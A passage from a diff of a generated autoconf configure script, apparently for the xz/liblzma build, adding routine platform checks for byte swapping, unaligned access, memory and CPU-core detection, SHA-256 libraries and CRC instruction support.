>conftest.$ac_ext +/* end confdefs.h. */ + +#include +int +main(void) +{ + bswap_16(42); + return 0; +} + +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + + +printf "%s\n" "#define HAVE_BSWAP_16 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + +else case e in #( + e) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if bswap_32 is available" >&5 +printf %s "checking if bswap_32 is available... " >&6; } + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +int +main(void) +{ + bswap_32(42); + return 0; +} + +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + + +printf "%s\n" "#define HAVE_BSWAP_32 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + +else case e in #( + e) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if bswap_64 is available" >&5 +printf %s "checking if bswap_64 is available... " >&6; } + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +int +main(void) +{ + bswap_64(42); + return 0; +} + +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + + +printf "%s\n" "#define HAVE_BSWAP_64 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + +else case e in #( + e) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + + fi + ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if unaligned memory access should be used" >&5 +printf %s "checking if unaligned memory access should be used... " >&6; } +# Check whether --enable-unaligned-access was given. +if test ${enable_unaligned_access+y} +then : + enableval=$enable_unaligned_access; +else case e in #( + e) enable_unaligned_access=auto ;; +esac +fi + +if test "x$enable_unaligned_access" = xauto ; then + # NOTE: There might be other architectures on which unaligned access + # is fast. + case $host_cpu in + i?86|x86_64|powerpc|powerpc64|powerpc64le) + enable_unaligned_access=yes + ;; + arm*|aarch64*|riscv*) + # On 32-bit and 64-bit ARM, GCC and Clang + # #define __ARM_FEATURE_UNALIGNED if + # unaligned access is supported. + # + # Exception: GCC at least up to 13.2.0 + # defines it even when using -mstrict-align + # so in that case this autodetection goes wrong. + # Most of the time -mstrict-align isn't used so it + # shouldn't be a common problem in practice. See: + # https://gcc.gnu.org/bugzilla/show_bug.cgi?id=111555 + # + # RISC-V C API Specification says that if + # __riscv_misaligned_fast is defined then + # unaligned access is known to be fast. + # + # MSVC is handled as a special case: We assume that + # 32/64-bit ARM supports fast unaligned access. + # If MSVC gets RISC-V support then this will assume + # fast unaligned access on RISC-V too. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#if !defined(__ARM_FEATURE_UNALIGNED) \ + && !defined(__riscv_misaligned_fast) \ + && !defined(_MSC_VER) +compile error +#endif +int main(void) { return 0; } + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + enable_unaligned_access=yes +else case e in #( + e) enable_unaligned_access=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + *) + enable_unaligned_access=no + ;; + esac +fi +if test "x$enable_unaligned_access" = xyes ; then + +printf "%s\n" "#define TUKLIB_FAST_UNALIGNED_ACCESS 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if unsafe type punning should be used" >&5 +printf %s "checking if unsafe type punning should be used... " >&6; } +# Check whether --enable-unsafe-type-punning was given. +if test ${enable_unsafe_type_punning+y} +then : + enableval=$enable_unsafe_type_punning; +else case e in #( + e) enable_unsafe_type_punning=no ;; +esac +fi + +if test "x$enable_unsafe_type_punning" = xyes ; then + +printf "%s\n" "#define TUKLIB_USE_UNSAFE_TYPE_PUNNING 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if __builtin_assume_aligned is supported" >&5 +printf %s "checking if __builtin_assume_aligned is supported... " >&6; } +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ +__builtin_assume_aligned("", 1); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + + +printf "%s\n" "#define HAVE___BUILTIN_ASSUME_ALIGNED 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + +else case e in #( + e) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } + ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + + + + +# sys/param.h might be needed by sys/sysctl.h. +ac_fn_c_check_header_compile "$LINENO" "sys/param.h" "ac_cv_header_sys_param_h" "$ac_includes_default" +if test "x$ac_cv_header_sys_param_h" = xyes +then : + printf "%s\n" "#define HAVE_SYS_PARAM_H 1" >>confdefs.h + +fi + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to detect the amount of physical memory" >&5 +printf %s "checking how to detect the amount of physical memory... " >&6; } +if test ${tuklib_cv_physmem_method+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) + +# Maybe checking $host_os would be enough but this matches what +# tuklib_physmem.c does. +# +# NOTE: IRIX has a compiler that doesn't error out with #error, so use +# a non-compilable text instead of #error to generate an error. +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#if defined(_WIN32) || defined(__CYGWIN__) || defined(__OS2__) \ + || defined(__DJGPP__) || defined(__VMS) \ + || defined(AMIGA) || defined(__AROS__) || defined(__QNX__) +int main(void) { return 0; } +#else +compile error +#endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_physmem_method=special +else case e in #( + e) + +# Look for AIX-specific solution before sysconf(), because the test +# for sysconf() will pass on AIX but won't actually work +# (sysconf(_SC_PHYS_PAGES) compiles but always returns -1 on AIX). +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include + +int +main(void) +{ + (void)_system_configuration.physmem; + return 0; +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_physmem_method=aix +else case e in #( + e) + +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +int +main(void) +{ + long i; + i = sysconf(_SC_PAGESIZE); + i = sysconf(_SC_PHYS_PAGES); + return 0; +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_physmem_method=sysconf +else case e in #( + e) + +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#ifdef HAVE_SYS_PARAM_H +# include +#endif +#include +int +main(void) +{ + int name[2] = { CTL_HW, HW_PHYSMEM }; + unsigned long mem; + size_t mem_ptr_size = sizeof(mem); + sysctl(name, 2, &mem, &mem_ptr_size, NULL, 0); + return 0; +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_physmem_method=sysctl +else case e in #( + e) + +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +#include + +int +main(void) +{ + int memkb; + int start = 0; + getsysinfo(GSI_PHYSMEM, (caddr_t)&memkb, sizeof(memkb), &start); + return 0; +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_physmem_method=getsysinfo +else case e in #( + e) + +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +#include + +int +main(void) +{ + struct pst_static pst; + pstat_getstatic(&pst, sizeof(pst), 1, 0); + (void)pst.physical_memory; + (void)pst.page_size; + return 0; +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_physmem_method=pstat_getstatic +else case e in #( + e) + +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +int +main(void) +{ + inv_state_t *st = NULL; + setinvent_r(&st); + getinvent_r(st); + endinvent_r(st); + return 0; +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_physmem_method=getinvent_r +else case e in #( + e) + +# This version of sysinfo() is Linux-specific. Some non-Linux systems have +# different sysinfo() so we must check $host_os. +case $host_os in + linux*) + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +int +main(void) +{ + struct sysinfo si; + sysinfo(&si); + return 0; +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + + tuklib_cv_physmem_method=sysinfo + +else case e in #( + e) + tuklib_cv_physmem_method=unknown + ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + *) + tuklib_cv_physmem_method=unknown + ;; +esac + ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $tuklib_cv_physmem_method" >&5 +printf "%s\n" "$tuklib_cv_physmem_method" >&6; } + +case $tuklib_cv_physmem_method in + aix) + +printf "%s\n" "#define TUKLIB_PHYSMEM_AIX 1" >>confdefs.h + + ;; + sysconf) + +printf "%s\n" "#define TUKLIB_PHYSMEM_SYSCONF 1" >>confdefs.h + + ;; + sysctl) + +printf "%s\n" "#define TUKLIB_PHYSMEM_SYSCTL 1" >>confdefs.h + + ;; + getsysinfo) + +printf "%s\n" "#define TUKLIB_PHYSMEM_GETSYSINFO 1" >>confdefs.h + + ;; + pstat_getstatic) + +printf "%s\n" "#define TUKLIB_PHYSMEM_PSTAT_GETSTATIC 1" >>confdefs.h + + ;; + getinvent_r) + +printf "%s\n" "#define TUKLIB_PHYSMEM_GETINVENT_R 1" >>confdefs.h + + ;; + sysinfo) + +printf "%s\n" "#define TUKLIB_PHYSMEM_SYSINFO 1" >>confdefs.h + + ;; +esac + + + + +# sys/param.h might be needed by sys/sysctl.h. +ac_fn_c_check_header_compile "$LINENO" "sys/param.h" "ac_cv_header_sys_param_h" "$ac_includes_default" +if test "x$ac_cv_header_sys_param_h" = xyes +then : + printf "%s\n" "#define HAVE_SYS_PARAM_H 1" >>confdefs.h + +fi + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to detect the number of available CPU cores" >&5 +printf %s "checking how to detect the number of available CPU cores... " >&6; } +if test ${tuklib_cv_cpucores_method+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) + +# Maybe checking $host_os would be enough but this matches what +# tuklib_cpucores.c does. +# +# NOTE: IRIX has a compiler that doesn't error out with #error, so use +# a non-compilable text instead of #error to generate an error. +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#if defined(_WIN32) || defined(__CYGWIN__) +int main(void) { return 0; } +#else +compile error +#endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_cpucores_method=special +else case e in #( + e) + +# glibc-based systems (GNU/Linux and GNU/kFreeBSD) have sched_getaffinity(). +# The CPU_COUNT() macro was added in glibc 2.9 so we try to link the +# test program instead of merely compiling it. glibc 2.9 is old enough that +# if someone uses the code on older glibc, the fallback to sysconf() should +# be good enough. +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +int +main(void) +{ + cpu_set_t cpu_mask; + sched_getaffinity(0, sizeof(cpu_mask), &cpu_mask); + return CPU_COUNT(&cpu_mask); +} + +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + tuklib_cv_cpucores_method=sched_getaffinity +else case e in #( + e) + +# FreeBSD has both cpuset and sysctl. Look for cpuset first because +# it's a better approach. +# +# This test would match on GNU/kFreeBSD too but it would require +# -lfreebsd-glue when linking and thus in the current form this would +# fail on GNU/kFreeBSD. The above test for sched_getaffinity() matches +# on GNU/kFreeBSD so the test below should never run on that OS. +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +#include + +int +main(void) +{ + cpuset_t set; + cpuset_getaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, -1, + sizeof(set), &set); + return 0; +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_cpucores_method=cpuset +else case e in #( + e) + +# On OS/2, both sysconf() and sysctl() pass the tests in this file, +# but only sysctl() works. On QNX it's the opposite: only sysconf() works +# (although it assumes that _POSIX_SOURCE, _XOPEN_SOURCE, and _POSIX_C_SOURCE +# are undefined or alternatively _QNX_SOURCE is defined). +# +# We test sysctl() first and intentionally break the sysctl() test on QNX +# so that sysctl() is never used on QNX. +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#ifdef __QNX__ +compile error +#endif +#ifdef HAVE_SYS_PARAM_H +# include +#endif +#include +int +main(void) +{ +#ifdef HW_NCPUONLINE + /* This is preferred on OpenBSD, see tuklib_cpucores.c. */ + int name[2] = { CTL_HW, HW_NCPUONLINE }; +#else + int name[2] = { CTL_HW, HW_NCPU }; +#endif + int cpus; + size_t cpus_size = sizeof(cpus); + sysctl(name, 2, &cpus, &cpus_size, NULL, 0); + return 0; +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_cpucores_method=sysctl +else case e in #( + e) + +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +int +main(void) +{ + long i; +#ifdef _SC_NPROCESSORS_ONLN + /* Many systems using sysconf() */ + i = sysconf(_SC_NPROCESSORS_ONLN); +#else + /* IRIX */ + i = sysconf(_SC_NPROC_ONLN); +#endif + return 0; +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_cpucores_method=sysconf +else case e in #( + e) + +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +#include + +int +main(void) +{ + struct pst_dynamic pst; + pstat_getdynamic(&pst, sizeof(pst), 1, 0); + (void)pst.psd_proc_cnt; + return 0; +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + tuklib_cv_cpucores_method=pstat_getdynamic +else case e in #( + e) + + tuklib_cv_cpucores_method=unknown + ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $tuklib_cv_cpucores_method" >&5 +printf "%s\n" "$tuklib_cv_cpucores_method" >&6; } + +case $tuklib_cv_cpucores_method in + sched_getaffinity) + +printf "%s\n" "#define TUKLIB_CPUCORES_SCHED_GETAFFINITY 1" >>confdefs.h + + ;; + cpuset) + +printf "%s\n" "#define TUKLIB_CPUCORES_CPUSET 1" >>confdefs.h + + ;; + sysctl) + +printf "%s\n" "#define TUKLIB_CPUCORES_SYSCTL 1" >>confdefs.h + + ;; + sysconf) + +printf "%s\n" "#define TUKLIB_CPUCORES_SYSCONF 1" >>confdefs.h + + ;; + pstat_getdynamic) + +printf "%s\n" "#define TUKLIB_CPUCORES_PSTAT_GETDYNAMIC 1" >>confdefs.h + + ;; +esac + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether mbrtowc and mbstate_t are properly declared" >&5 +printf %s "checking whether mbrtowc and mbstate_t are properly declared... " >&6; } +if test ${ac_cv_func_mbrtowc+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +int +main (void) +{ +wchar_t wc; + char const s[] = ""; + size_t n = 1; + mbstate_t state; + return ! (sizeof state && (mbrtowc) (&wc, s, n, &state)); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_cv_func_mbrtowc=yes +else case e in #( + e) ac_cv_func_mbrtowc=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_mbrtowc" >&5 +printf "%s\n" "$ac_cv_func_mbrtowc" >&6; } + if test $ac_cv_func_mbrtowc = yes; then + +printf "%s\n" "#define HAVE_MBRTOWC 1" >>confdefs.h + + fi + +ac_fn_c_check_func "$LINENO" "wcwidth" "ac_cv_func_wcwidth" +if test "x$ac_cv_func_wcwidth" = xyes +then : + printf "%s\n" "#define HAVE_WCWIDTH 1" >>confdefs.h + +fi + + + +# If requested, check for system-provided SHA-256. At least the following +# implementations are supported: +# +# OS Headers Library Type Function +# FreeBSD sys/types.h + sha256.h libmd SHA256_CTX SHA256_Init +# NetBSD sys/types.h + sha2.h SHA256_CTX SHA256_Init +# OpenBSD sys/types.h + sha2.h SHA2_CTX SHA256Init +# Solaris sys/types.h + sha2.h libmd SHA256_CTX SHA256Init +# MINIX 3 sys/types.h + sha2.h SHA256_CTX SHA256_Init +# Darwin CommonCrypto/CommonDigest.h CC_SHA256_CTX CC_SHA256_Init +# +# Note that Darwin's CC_SHA256_Update takes buffer size as uint32_t instead +# of size_t. +# +sha256_header_found=no +sha256_type_found=no +sha256_func_found=no +if test "x$enable_external_sha256" = "xyes" +then : + + # Test for Common Crypto before others, because Darwin has sha256.h + # too and we don't want to use that, because on older versions it + # uses OpenSSL functions, whose SHA256_Init is not guaranteed to + # succeed. + for ac_header in CommonCrypto/CommonDigest.h sha256.h sha2.h +do : + as_ac_Header=`printf "%s\n" "ac_cv_header_$ac_header" | sed "$as_sed_sh"` +ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" +if eval test \"x\$"$as_ac_Header"\" = x"yes" +then : + cat >>confdefs.h <<_ACEOF +#define `printf "%s\n" "HAVE_$ac_header" | sed "$as_sed_cpp"` 1 +_ACEOF + sha256_header_found=yes ; break +fi + +done + if test "x$sha256_header_found" = xyes; then + ac_fn_c_check_type "$LINENO" "CC_SHA256_CTX" "ac_cv_type_CC_SHA256_CTX" "#ifdef HAVE_SYS_TYPES_H + # include + #endif + #ifdef HAVE_COMMONCRYPTO_COMMONDIGEST_H + # include + #endif + #ifdef HAVE_SHA256_H + # include + #endif + #ifdef HAVE_SHA2_H + # include + #endif +" +if test "x$ac_cv_type_CC_SHA256_CTX" = xyes +then : + +printf "%s\n" "#define HAVE_CC_SHA256_CTX 1" >>confdefs.h + +sha256_type_found=yes +fi +ac_fn_c_check_type "$LINENO" "SHA256_CTX" "ac_cv_type_SHA256_CTX" "#ifdef HAVE_SYS_TYPES_H + # include + #endif + #ifdef HAVE_COMMONCRYPTO_COMMONDIGEST_H + # include + #endif + #ifdef HAVE_SHA256_H + # include + #endif + #ifdef HAVE_SHA2_H + # include + #endif +" +if test "x$ac_cv_type_SHA256_CTX" = xyes +then : + +printf "%s\n" "#define HAVE_SHA256_CTX 1" >>confdefs.h + +sha256_type_found=yes +fi +ac_fn_c_check_type "$LINENO" "SHA2_CTX" "ac_cv_type_SHA2_CTX" "#ifdef HAVE_SYS_TYPES_H + # include + #endif + #ifdef HAVE_COMMONCRYPTO_COMMONDIGEST_H + # include + #endif + #ifdef HAVE_SHA256_H + # include + #endif + #ifdef HAVE_SHA2_H + # include + #endif +" +if test "x$ac_cv_type_SHA2_CTX" = xyes +then : + +printf "%s\n" "#define HAVE_SHA2_CTX 1" >>confdefs.h + +sha256_type_found=yes +fi + + if test "x$sha256_type_found" = xyes ; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for library containing SHA256Init" >&5 +printf %s "checking for library containing SHA256Init... " >&6; } +if test ${ac_cv_search_SHA256Init+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_func_search_save_LIBS=$LIBS +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. + The 'extern "C"' is for builds by C++ compilers; + although this is not generally supported in C code supporting it here + has little cost and some practical benefit (sr 110532). */ +#ifdef __cplusplus +extern "C" +#endif +char SHA256Init (void); +int +main (void) +{ +return SHA256Init (); + ; + return 0; +} +_ACEOF +for ac_lib in '' md +do + if test -z "$ac_lib"; then + ac_res="none required" + else + ac_res=-l$ac_lib + LIBS="-l$ac_lib $ac_func_search_save_LIBS" + fi + if ac_fn_c_try_link "$LINENO" +then : + ac_cv_search_SHA256Init=$ac_res +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext + if test ${ac_cv_search_SHA256Init+y} +then : + break +fi +done +if test ${ac_cv_search_SHA256Init+y} +then : + +else case e in #( + e) ac_cv_search_SHA256Init=no ;; +esac +fi +rm conftest.$ac_ext +LIBS=$ac_func_search_save_LIBS ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_SHA256Init" >&5 +printf "%s\n" "$ac_cv_search_SHA256Init" >&6; } +ac_res=$ac_cv_search_SHA256Init +if test "$ac_res" != no +then : + test "$ac_res" = "none required" || LIBS="$ac_res $LIBS" + +fi + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for library containing SHA256_Init" >&5 +printf %s "checking for library containing SHA256_Init... " >&6; } +if test ${ac_cv_search_SHA256_Init+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_func_search_save_LIBS=$LIBS +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. + The 'extern "C"' is for builds by C++ compilers; + although this is not generally supported in C code supporting it here + has little cost and some practical benefit (sr 110532). */ +#ifdef __cplusplus +extern "C" +#endif +char SHA256_Init (void); +int +main (void) +{ +return SHA256_Init (); + ; + return 0; +} +_ACEOF +for ac_lib in '' md +do + if test -z "$ac_lib"; then + ac_res="none required" + else + ac_res=-l$ac_lib + LIBS="-l$ac_lib $ac_func_search_save_LIBS" + fi + if ac_fn_c_try_link "$LINENO" +then : + ac_cv_search_SHA256_Init=$ac_res +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext + if test ${ac_cv_search_SHA256_Init+y} +then : + break +fi +done +if test ${ac_cv_search_SHA256_Init+y} +then : + +else case e in #( + e) ac_cv_search_SHA256_Init=no ;; +esac +fi +rm conftest.$ac_ext +LIBS=$ac_func_search_save_LIBS ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_SHA256_Init" >&5 +printf "%s\n" "$ac_cv_search_SHA256_Init" >&6; } +ac_res=$ac_cv_search_SHA256_Init +if test "$ac_res" != no +then : + test "$ac_res" = "none required" || LIBS="$ac_res $LIBS" + +fi + + + for ac_func in CC_SHA256_Init SHA256Init SHA256_Init +do : + as_ac_var=`printf "%s\n" "ac_cv_func_$ac_func" | sed "$as_sed_sh"` +ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var" +if eval test \"x\$"$as_ac_var"\" = x"yes" +then : + cat >>confdefs.h <<_ACEOF +#define `printf "%s\n" "HAVE_$ac_func" | sed "$as_sed_cpp"` 1 +_ACEOF + sha256_func_found=yes ; break +fi + +done + fi + fi + +fi + if test "x$sha256_func_found" = xno; then + COND_INTERNAL_SHA256_TRUE= + COND_INTERNAL_SHA256_FALSE='#' +else + COND_INTERNAL_SHA256_TRUE='#' + COND_INTERNAL_SHA256_FALSE= +fi + +if test "x$enable_external_sha256$sha256_func_found" = xyesno; then + as_fn_error $? "--enable-external-sha256 was specified but no supported external SHA-256 implementation was found" "$LINENO" 5 +fi + +# Check for SSE2 intrinsics. There is no run-time detection for SSE2 so if +# compiler options enable SSE2 then SSE2 support is required by the binaries. +# The compile-time check for SSE2 is done with #ifdefs because some compilers +# (ICC, MSVC) allow SSE2 intrinsics even when SSE2 isn't enabled. +ac_fn_check_decl "$LINENO" "_mm_movemask_epi8" "ac_cv_have_decl__mm_movemask_epi8" "#ifdef HAVE_IMMINTRIN_H +#include +#endif +" "$ac_c_undeclared_builtin_options" "CFLAGS" +if test "x$ac_cv_have_decl__mm_movemask_epi8" = xyes +then : + +printf "%s\n" "#define HAVE__MM_MOVEMASK_EPI8 1" >>confdefs.h + +fi + +# For faster CRC on 32/64-bit x86 and E2K (see also crc64_fast.c): +# +# - Check for the CLMUL intrinsic _mm_clmulepi64_si128 in . +# Check also for _mm_set_epi64x for consistency with CMake build +# where it's needed to disable CLMUL with VS2013. +# +# - Check that __attribute__((__target__("ssse3,sse4.1,pclmul"))) works +# together with _mm_clmulepi64_si128 from . The attribute +# was added in GCC 4.4 but some GCC 4.x versions don't allow intrinsics +# with it. Exception: it must be not be used with EDG-based compilers +# like ICC and the compiler on E2K. +# +# If everything above is supported, runtime detection will be used to keep the +# binaries working on systems that don't support the required extensions. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if _mm_clmulepi64_si128 is usable" >&5 +printf %s "checking if _mm_clmulepi64_si128 is usable... " >&6; } +if test "x$enable_clmul_crc" = xno +then : + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no, --disable-clmul-crc was used" >&5 +printf "%s\n" "no, --disable-clmul-crc was used" >&6; } + +else case e in #( + e) + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include + +// CLMUL works on older E2K instruction set but it is slow due to emulation. +#if defined(__e2k__) && __iset__ < 6 +# error +#endif + +// Intel's old compiler (ICC) can define __GNUC__ but the attribute must not +// be used with it. The new Clang-based ICX needs the attribute. +// Checking for !defined(__EDG__) catches ICC and other EDG-based compilers. +#if (defined(__GNUC__) || defined(__clang__)) && !defined(__EDG__) +__attribute__((__target__("ssse3,sse4.1,pclmul"))) +#endif +__m128i my_clmul(__m128i a) +{ + const __m128i b = _mm_set_epi64x(1, 2); + return _mm_clmulepi64_si128(a, b, 0); +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + + +printf "%s\n" "#define HAVE_USABLE_CLMUL 1" >>confdefs.h + + enable_clmul_crc=yes + +else case e in #( + e) + enable_clmul_crc=no + ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_clmul_crc" >&5 +printf "%s\n" "$enable_clmul_crc" >&6; } + ;; +esac +fi + +# ARM64 C Language Extensions define CRC32 functions in arm_acle.h. +# These are supported by at least GCC and Clang which both need +# __attribute__((__target__("+crc"))), unless the needed compiler flags +# are used to support the CRC instruction. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if ARM64 CRC32 instruction is usable" >&5 +printf %s "checking if ARM64 CRC32 instruction is usable... " >&6; } +if test "x$enable_arm64_crc32" = xno +then : + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no, --disable-arm64-crc32 was used" >&5 +printf "%s\n" "no, --disable-arm64-crc32 was used" >&6; } + +else case e in #( + e) + # Set -Werror here because some versions of Clang (14 and older) + # do not report the unsupported __attribute__((__target__("+crc"))) + # or __crc32d() as an error, only as a warning. This does not need + # to be done with CMake because tests will attempt to link and the + # error will be reported then. + OLD_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS -Werror" + + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +#include + +#if (defined(__GNUC__) || defined(__clang__)) && !defined(__EDG__) +__attribute__((__target__("+crc"))) +#endif +uint32_t my_crc(uint32_t 